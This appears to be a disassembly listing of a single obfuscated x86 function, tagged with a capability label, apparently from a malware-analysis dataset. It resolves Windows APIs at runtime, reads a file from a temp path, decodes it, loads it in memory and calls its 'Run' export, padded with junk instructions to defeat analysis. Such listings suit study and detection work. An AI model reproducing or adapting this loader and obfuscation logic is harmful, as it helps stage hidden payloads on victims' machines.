Function at 0x1000fe30
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
inc ecx
dec ecx
add eax, 0
jne 0x1000fe43
je 0x1000fe43
call 0x6501beca
add eax, 0
push ebp
nop
mov ebp, esp
add esp, 0x51
add esp, 0xffffffaf
inc ecx
dec ecx
push edi
pop edi
mov esp, ebp
nop
pop ebp
push 0x10015954
push 0x10015968
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x6d
mov byte [ebp - 0x1c], 0x70
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 0x10
sub esp, 0x10
test esi, esi
add esp, 0x3e
sub esp, 0x3e
mov esp, ebp
pop ebp
push 0x10016264
call dword [ebp - 0x10]
push ebp
mov ebp, esp
add esp, 0x3e
add esp, 0xffffffc2
push 0xffff98a0
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
lea ecx, [ebp - 0x20]
push ecx
push 0x10016264
call fcn.1000fd96
add esp, 8
add esp, 0x72
add esp, 0xffffff8e
inc ecx
dec ecx
add esp, 0x16
sub esp, 0x16
push 0xffff8016
mov dword [ebp - 4], str.kernel32.dll
push str.CreateFileA
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
add esp, 8
add esp, 0xfffffff8
add esp, 0x12
sub esp, 0x12
add esp, 0xb
sub esp, 0xb
push 0xffffc2b4
add esp, 0x10
add esp, 0xfffffff0
push str.GetFileSize
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
add esp, 0xd
sub esp, 0xd
push 0xffffef82
add esp, 0xf
add esp, 0xfffffff1
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x10016264
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x10010167
push ebp
nop
mov ebp, esp
push 0xffffb87d
inc ecx
dec ecx
mov esp, ebp
pop ebp
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [ebp - 8]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x1d1ac
jae 0x1000ffa7
xor eax, eax
jmp 0x10010169
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 4
add esp, 0xfffffffc
add esp, 8
add esp, 0xfffffff8
mov esp, ebp
pop ebp
mov edx, dword [ebp - 0x38]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
push ebx
pop ebx
add esp, 2
add esp, 0xfffffffe
test esi, esi
mov esp, ebp
nop
pop ebp
push str.ReadFile
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [ebp - 0x24]
push ebp
mov ebp, esp
push esi
pop esi
nop
mov esp, ebp
pop ebp
push str.CloseHandle
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push ebp
nop
nop
mov ebp, esp
add esp, 1
sub esp, 1
add esp, 5
add esp, 0xfffffffb
add esp, 9
sub esp, 9
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov ecx, dword [ebp - 0x14]
push ecx
call dword [ebp - 0x30]
nop
push ebp
nop
mov ebp, esp
add esp, 3
sub esp, 3
add esp, 4
add esp, 0xfffffffc
add esp, 7
add esp, 0xfffffff9
nop
mov esp, ebp
pop ebp
push 0x100159b4
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x34]
push eax
call fcn.1000fb70
add esp, 0xc
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
push edi
pop edi
test esi, esi
push ebx
pop ebx
nop
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x3c], 0
xor ecx, ecx
mov word [ebp - 0x3b], cx
mov byte [ebp - 0x39], cl
mov byte [ebp - 0x3c], 0x52
mov byte [ebp - 0x3b], 0x75
mov byte [ebp - 0x3a], 0x6e
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 9
sub esp, 9
add esp, 1
add esp, 0xffffffff
mov esp, ebp
nop
pop ebp
mov edx, dword [ebp - 0x34]
push edx
call fcn.1000b475
add esp, 4
mov dword [ebp - 0x2c], eax
push ebp
nop
nop
mov ebp, esp
add esp, 3
sub esp, 3
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
nop
mov esp, ebp
nop
nop
pop ebp
cmp dword [ebp - 0x2c], 0
je 0x10010133
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 3
add esp, 0xfffffffd
mov esp, ebp
pop ebp
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.1000b6dc
add esp, 8
mov dword [ebp - 0x28], eax
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
push esi
pop esi
inc ecx
dec ecx
add esp, 6
sub esp, 6
nop
mov esp, ebp
nop
pop ebp
call dword [ebp - 0x28]
nop
nop
push ebp
nop
mov ebp, esp
add esp, 6
add esp, 0xfffffffa
add esp, 7
add esp, 0xfffffff9
mov esp, ebp
nop
pop ebp
mov edx, dword [ebp - 0x2c]
push edx
call fcn.1000b859
add esp, 4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4